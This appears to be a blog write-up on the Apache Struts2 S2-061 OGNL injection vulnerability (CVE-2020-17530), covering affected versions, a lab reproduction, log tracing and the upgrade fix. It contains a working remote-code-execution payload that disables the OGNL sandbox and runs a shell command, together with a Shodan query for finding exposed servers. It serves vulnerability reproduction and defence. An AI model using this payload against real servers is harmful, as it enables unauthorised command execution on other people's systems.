Understanding the Apache Struts2 S2-061 Remote Code Execution Vulnerability (CVE-2020-17530)

Apache Struts2 Vulnerability Overview

The Apache Struts2 framework is a web framework used for developing Java EE web applications. On December 8, 2020, Apache Struts disclosed the S2-061 Struts Remote Code Execution Vulnerability (CVE-2020-17530). This vulnerability may allow OGNL expression injection when using certain tags, leading to remote code execution. S2-061 is a bypass of the S2-059 sandbox.

Struts2 performs secondary expression parsing on the attribute values of certain tag attributes (such as id). Therefore, when %{x} is used in these tag attributes and the value of x is user-controllable, the user can pass in a %{payload} to execute OGNL expressions.

Shodan Search Syntax for Apache Struts2

"JSESSIONID=" "Jetty"
Apache Struts2

Since Struts2 is just a development framework, a noticeable feature is that the URL contains .action. However, it is not easy to filter in Shodan, so this rule may not be accurate. If anyone has more accurate filtering rules, please leave a comment below.

Affected Versions of Apache Struts2

Apache Struts 2.0.0-2.5.25

Exploit

https://github.com/yaunsky/s2-061-rce

Environment Setup

Use vulhub to set up the environment.

Apache Struts2

Vulnerability Reproduction

Use the proof of concept (PoC) for verification.

?id=%25%7b+%27test%27+%2b+(233+%2b+233).toString()%7d

Use the exploit provided by vulhub for testing.

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

Command executed successfully.

Use the provided exploit for detection.

Traceback Investigation

Struts itself does not have web log records, and there are no records in docker logs, only 400 error records.

In a real environment, if Nginx reverse proxy is used, you can check access.log.

Here is an article on Struts2 traceback investigation. https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=159661

Fix

Upgrade to Struts 2.5.26 or higher.